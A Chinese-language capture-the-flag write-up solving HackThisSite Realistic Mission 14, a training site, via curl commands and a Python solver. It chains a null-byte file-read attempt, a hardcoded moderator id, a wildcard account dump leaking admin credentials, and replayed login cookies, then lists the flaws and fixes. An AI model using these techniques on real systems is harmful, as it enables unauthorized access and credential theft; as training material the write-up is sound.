HackThisSite - Realistic Mission 14

Challenge

An internet start-up is rumoured to be selling user data and usage habits to advertisers while they claim the opposite. Hack in and get some proof.

一家互联网创业公司被指一边声称绝不这么做,一边把用户数据和使用习惯卖给广告商。潜入并取得证据。

Yuppers Internet Solutions 是一个虚构的搜索引擎公司。入口 /missions/realistic/14/ 就是这家公司的官网首页:新闻(news.cgi)、搜索(search.cgi)、财经(finance/)、邮件(mail/)、Y-Web(yweb/)、People(people.html),以及一个 "Web Permit" 登录/注册模块(login.htmlwebpermit/login.cgi)。目标是进入管理员区域,拿到"把用户行为卖给广告商"的证据。

Solution

Recon:

  • 首页 index.cgi 列出的入口全部在同目录:search.cginews.cgifinance/mail/yweb/people.htmlabout.htmllogin.html
  • news.cgistory=<n> 读取新闻:news.cgi?story=1 ~ story=4 是新闻正文。
  • login.html 的登录表单 action="webpermit/login.cgi" method="post",字段名是 yuppers_user / yuppers_pass(不是 username/password)。
  • moderator.cgi 存在,GET 直接返回一个 "Enter your moderator id below" 的登录表单,POST 字段是 action=loginid
  • administrator.cgi 直接 GET 返回自定义 404(404! Page not found.),但它确实存在——未带 Web Permit cookie 时返回 404,带上管理员 cookie 后才吐内容(见 Step 5)。
  • 站内顶级域外没有可用入口;robots.txt 等未知静态路径落到一张默认 JPEG,属噪声。

Step 1: news.cgi 的 story 参数与失效的 null byte

news.cgistory 值拼成 <story>.news 去打开:不存在的 story 会回显完整文件名,说明输入被直接拼进了文件路径,这个拼接点也就能被 null byte 截断。

1
2
3
4
5
6
7
$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/14/news.cgi?story=0"
Failed to load 0.news<table width=550 bgcolor="#333333" cellpadding=10 cellspacing=1>

$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/14/news.cgi?story=moderator.cgi"
Failed to load moderator.cgi.news<table width=550 bgcolor="#333333" cellpadding=10 cellspacing=1>

news.cgi?story=moderator.cgi%00 期望用 NUL 截掉末尾的 .news,直接读到 moderator.cgi 的源码,源码里写着 moderator id(isadmin)。这个截断在当前节点不成立——服务端把 NUL 当成普通字符拼进文件名,open() 失败后原样回显,包括那个 NUL 字节:

1
2
3
4
5
6
7
8
9
10
11
12
$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/14/news.cgi?story=moderator.cgi%00" \
| grep -a -o 'Failed to load [^<]*'
Failed to load moderator.cgi^@.news

$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/14/news.cgi?story=.%00" \
-o /tmp/nulldot.bin
$ tail -c 96 /tmp/nulldot.bin | xxd
00000020: 626c 653e 3c2f 666f 726d 3e46 6169 6c65 ble></form>Faile
00000030: 6420 746f 206c 6f61 6420 2e00 2e6e 6577 d to load ...new
00000040: 733c 7461 626c 6520 7769 6474 683d 3535 s<table width=55

2e 00 2e 6e 65 77 73 = . \0 .news。服务端收到的确是一个带内嵌 NUL 的字符串 .\0.news,说明 Perl 的 open() 现在直接拒绝含 NUL 的路径(Perl 早期版本把 NUL 当 C 字符串终止符,才只打开 .moderator.cgi)。因此"读源码拿 id"这一步在当前版本不可用,只能换信息源:id 是硬编码常量,直接取 isadmin,下一节用单变量对照确认它确实是服务端校验的魔法值。

Step 2: moderator.cgi 登录,id 是硬编码魔法值

GET 直接拿到登录表单(不需要 Referer):

1
2
3
4
5
6
7
$ curl -s -b "HackThisSite=<mission-cookie>" \
"https://www.hackthissite.org/missions/realistic/14/moderator.cgi"
Enter your moderator id below:<br>
<form action="moderator.cgi" method="post">
<input type="hidden" name="action" value="login">
<input type="text" name="id" size=15>
<input type="submit" value="log in"></form>

POST 走的是 HTS 平台统一的 CGI 外层包装,带 CSRF/Referer 检查:不带 Referer 时整个请求被平台层拦下,返回 Invalid Referer,根本到不了 mission 的 CGI:

1
2
3
4
5
6
7
8
9
$ curl -s -b "HackThisSite=<mission-cookie>" \
-d 'action=login&id=isadmin' \
"https://www.hackthissite.org/missions/realistic/14/moderator.cgi" \
| grep -A2 'Invalid Referer'
<strong>
<font size="2">Invalid Referer</font>
</strong>
<font size="1">
Invalid referer. The requested URL /missions/realistic/14/moderator.cgi will not be loaded.

加上任务目录内的 Referer 后正常返回 moderator panel:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ curl -s -b "HackThisSite=<mission-cookie>" \
-e "https://www.hackthissite.org/missions/realistic/14/news.cgi" \
-d 'action=login&id=isadmin' \
"https://www.hackthissite.org/missions/realistic/14/moderator.cgi"
<html><head><title>Moderator Panel</title></head><body>
<center>
<h3>Welcome to the moderator panel</h3>
<form action="moderator.cgi" method="post">
<input type="hidden" value="view" name="action">
<input type="hidden" value="isadmin" name="id">
&nbsp;&nbsp;View Account Info: <input type="text" name="account" size=20 value=""><br>
&nbsp;&nbsp;<input type="submit" value="Submit">
</form>

<form action="moderator.cgi" method="post">
<b>Email:</b><br>
<input type="hidden" value="email" name="action">
<input type="hidden" value="isadmin" name="id">
&nbsp;&nbsp;View Email Traffic: <input type="text" name="account" size=20 value=""><br>
&nbsp;&nbsp;<input type="submit" value="Submit">
</form>
</center>
</body></html>

panel 有两个功能:action=view(查账户)和 action=email(看邮件流量),都以 account 为查询参数。用单变量对照确认 id 是校验过的,不是随便填:

1
2
3
4
5
$ curl -s -b "HackThisSite=<mission-cookie>" \
-e "https://www.hackthissite.org/missions/realistic/14/news.cgi" \
-d 'action=login&id=zzz' \
"https://www.hackthissite.org/missions/realistic/14/moderator.cgi"
You have entered an invalid id.

zzz 被拒、isadmin 通过,说明 id 是服务端硬编码的魔法值——正是 null-byte 那步本来要泄露的东西。

Step 3: account 通配符泄露管理员资料

account 查询支持通配符 *,直接回吐完整账户记录:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ curl -s -b "HackThisSite=<mission-cookie>" \
-e "https://www.hackthissite.org/missions/realistic/14/moderator.cgi" \
-d 'action=view&id=isadmin&account=*' \
"https://www.hackthissite.org/missions/realistic/14/moderator.cgi"
<b>Admin Account</b><br>username: webguy<br>
password: reallyreallylongpasswordthatisveryveryveryhardtoguessorcrack<br>
Sha1 hash: 861d2106cb2f6cf54d59450e59cd8ba4cc5a5a05<br>
email address: webguy@yuppers.nod<br>
first name: Bob<br>
middle name: Underwood<br>
last name: Yuppers<br>
month of birth: Male<br>
day of birth: Unmarried<br>
year of birth: September<br>
gender: 24<br>
marital status: 1973<br>
country: United States<br>
state: Idaho<br>
city: Boise<br>
address: 9451 Poplar Road<br>
phone number: 539-124-5155<br>
occupation: webmaster<br>
income: 8650000<br>
dependents: 0<br>
first interest/hobby: programming<br>
second interest/hobby: eating out<br>
third interest/hobby: fund raising for Republicans<br>
fourth interest/hobby: making TV ads<br>
fifth interest/hobby: encryption<br>
about: Hello, I am Bob Underwood Yuppers, and I am the CEO and founded Yuppers Internet Solutions.<br>

拿到明文密码 reallyreallylongpasswordthatisveryveryveryhardtoguessorcrack 和它的 SHA1 861d2106cb2f6cf54d59450e59cd8ba4cc5a5a05account 字段的解析是对原始 POST body 做字符串匹配的:把 body 做标准 form-urlencode 会把 * 编成 %2A,服务端不认,返回 That user doesn't exist.——所以 * 必须以裸字符发出(脚本里用原始 body 而非 dict 就是这个原因)。

login.html 的表单提交到 webpermit/login.cgi,字段名是 yuppers_user / yuppers_pass

1
2
3
4
5
6
7
8
9
10
11
$ curl -s -i -b "HackThisSite=<mission-cookie>" \
-e "https://www.hackthissite.org/missions/realistic/14/login.html" \
--data-urlencode 'yuppers_user=webguy' \
--data-urlencode 'yuppers_pass=reallyreallylongpasswordthatisveryveryveryhardtoguessorcrack' \
"https://www.hackthissite.org/missions/realistic/14/webpermit/login.cgi"
HTTP/2 200
set-cookie: yuppers_user=webguy; path=/
set-cookie: yuppers_pass=861d2106cb2f6cf54d59450e59cd8ba4cc5a5a05; path=/
set-cookie: admin_login=2067123; path=/

Logged in as webguy. (<a href="javascript:logout()">log out</a>)<br><a href="../administrator.cgi">Administrator Panel</a>

登录成功后服务端下发的三个 cookie 是关键:yuppers_user(明文用户名)、yuppers_pass(密码的 SHA1)、admin_login(一个数字标识)。注意 yuppers_pass 存的是 SHA1,而不是再套一层签名/加密——任何人拿到这三个值就能伪造出管理员身份。页面同时给出 ../administrator.cgi 的链接。

Step 5: administrator.cgi 与通关

带着这三个 cookie 请求 administrator.cgi,它才吐内容(不带 cookie 时返回的就是那个误导人的 404):

1
2
3
4
5
6
$ curl -s -b "HackThisSite=<mission-cookie>; yuppers_user=webguy; \
yuppers_pass=861d2106cb2f6cf54d59450e59cd8ba4cc5a5a05; admin_login=2067123" \
-e "https://www.hackthissite.org/missions/realistic/14/webpermit/login.cgi" \
"https://www.hackthissite.org/missions/realistic/14/administrator.cgi"
You shuffle through the admin panel and see that every action is monitored and sold to advertisers. You clear out the logs and post the entire source to the main page, and of course...<br><br>
<iframe src="webpermit/fix/mission-accomplished.php?codewebs_check=d1e9f8ad82c1e02c47b332e9d14bcf866654e986" style="border: 0px #ffffff outset; width:80%; height:50%;"></iframe>

administrator.cgi 把完成检查放在一个 iframe 里,跟进它即可确认:

1
2
3
4
5
$ curl -s -b "HackThisSite=<mission-cookie>; yuppers_user=webguy; \
yuppers_pass=861d2106cb2f6cf54d59450e59cd8ba4cc5a5a05; admin_login=2067123" \
-e "https://www.hackthissite.org/missions/realistic/14/administrator.cgi" \
"https://www.hackthissite.org/missions/realistic/14/webpermit/fix/mission-accomplished.php?codewebs_check=d1e9f8ad82c1e02c47b332e9d14bcf866654e986"
<center><div style="width:80%"><div class="dark-td"><h2>Congrats</h2></div><div class="light-td">Good Job, ***, You have successfully completed Mission 14<br /></div></div></center>

通关响应是 <h2>Congrats</h2> + You have successfully completed Mission 14。整个链路可一次性脚本化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/env python
"""HackThisSite Realistic Mission 14 (Yuppers Internet Solutions) solver.

Chain: moderator.cgi credential-less login (id=isadmin) -> wildcard account dump
-> Web Permit login -> administrator.cgi -> mission-accomplished.php.

Notes:
- The null-byte source read (news.cgi?story=moderator.cgi%00) does not
truncate on the live node: Perl rejects an embedded NUL in open(), so the
CGI reports "Failed to load moderator.cgi\\0.news". The hardcoded
moderator id is supplied directly instead.
- POST bodies are sent raw (not form-encoded): moderator.cgi matches on the
literal "account=*" token, so "%2A" would miss the wildcard.
"""
import os
import re

import requests

BASE = "https://www.hackthissite.org/missions/realistic/14"
UA = (
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"
)
FORM = "application/x-www-form-urlencoded"

# HTS platform session cookie, e.g. HTS_COOKIE="HackThisSite=<mission-cookie>"
_raw = os.environ.get("HTS_COOKIE", "HackThisSite=<mission-cookie>")
_name, _, _value = _raw.partition("=")

s = requests.Session()
s.headers["User-Agent"] = UA
s.cookies.set(_name, _value, domain="www.hackthissite.org", path="/")


def main() -> None:
# Step 1: null-byte source read (no truncation on the live node)
r = s.get(f"{BASE}/news.cgi", params={"story": "moderator.cgi\x00"}, timeout=30)
tail = r.text.split("</form>")[-1]
print("[1] story=moderator.cgi%00 ->", tail[:40].replace("\x00", "<NUL>"))

# Step 2: moderator login; "isadmin" is the hardcoded magic id
r = s.post(
f"{BASE}/moderator.cgi",
data="action=login&id=isadmin",
headers={"Referer": f"{BASE}/news.cgi", "Content-Type": FORM},
timeout=30,
)
print("[2] moderator panel:", "View Account Info" in r.text)

# Step 3: wildcard account lookup leaks the admin record
r = s.post(
f"{BASE}/moderator.cgi",
data="action=view&id=isadmin&account=*",
headers={"Referer": f"{BASE}/moderator.cgi", "Content-Type": FORM},
timeout=30,
)
user = re.search(r"username: (\w+)", r.text).group(1)
pw = re.search(r"password: ([^<\s]+)", r.text).group(1)
print("[3] leaked admin creds:", user, "/", pw)

# Step 4: Web Permit login; the server replies with yuppers_* cookies
r = s.post(
f"{BASE}/webpermit/login.cgi",
data="yuppers_user=%s&yuppers_pass=%s" % (user, pw),
headers={"Referer": f"{BASE}/login.html", "Content-Type": FORM},
timeout=30,
)
print("[4] web permit logged in:", "Logged in as" in r.text)

# Step 5: administrator panel now resolves and returns the completion iframe
r = s.get(
f"{BASE}/administrator.cgi",
headers={"Referer": f"{BASE}/webpermit/login.cgi"},
timeout=30,
)
m = re.search(r'src="([^"]*mission-accomplished\.php[^"]*)"', r.text)
print("[5] completion iframe:", m.group(1) if m else "NOT FOUND")


if __name__ == "__main__":
main()

实际运行输出(HTS_COOKIE 通过环境变量注入,不落盘):

1
2
3
4
5
6
7
$ cd ~/ctf/workspace && HTS_COOKIE="HackThisSite=<mission-cookie>" \
uv run python challenges/hackthissite-realistic-14/solve.py
[1] story=moderator.cgi%00 -> Failed to load moderator.cgi<NUL>.news<table
[2] moderator panel: True
[3] leaked admin creds: webguy / reallyreallylongpasswordthatisveryveryveryhardtoguessorcrack
[4] web permit logged in: True
[5] completion iframe: webpermit/fix/mission-accomplished.php?codewebs_check=d1e9f8ad82c1e02c47b332e9d14bcf866654e986

Vulnerabilities

  • 源码泄露news.cgi 直接把用户输入的 story 拼进 open("<story>.news"),本意靠 poison null byte 截断后缀读源码。现代 Perl 已在 open() 层拒绝含 NUL 的路径,这步失效,但"输入直接拼文件路径"的根因仍在。
  • 硬编码魔法值当凭据moderator.cgiid=isadmin 这种常量做管理员开关,一经泄露即无第二因子;源码泄露渠道失效后,该值仍是纯静态机密。
  • 越权/信息泄露account=* 通配符让任意已登录 moderator 拉到全部账户(含明文密码、SHA1、邮箱、住址、收入等 PII),是典型的水平/垂直越权 + 过度数据暴露。
  • 明文与弱哈希存储:账户表里直接存明文 password,同时留一份无盐 SHA1;两者都在越权查询里一并吐出。
  • 可伪造的 cookie 认证:Web Permit 的登录态完全由客户端 cookie 承载——yuppers_user(明文)、yuppers_pass(密码 SHA1)、admin_login(数字)。administrator.cgi 只校验这三个值,没有任何服务端会话或签名,改一下 yuppers_user/admin_login 就能冒充别人。
  • 误导性的访问控制表现administrator.cgi 未授权时返回自定义 404 而非 401/403,容易让人误判"组件不存在/已损坏"。

修复方向:文件路径用固定资源 id 映射,不做字符串拼接;权限判定用服务端会话 + 随机不可预测的 token,绝不把身份/凭据放进客户端可改的 cookie;账户查询按登录者身份做行级授权,禁止通配符批量导出;密码用带盐强哈希(bcrypt/argon2)存储,日志和错误信息不回显完整文件路径;未授权访问返回 401/403 而不是伪装 404。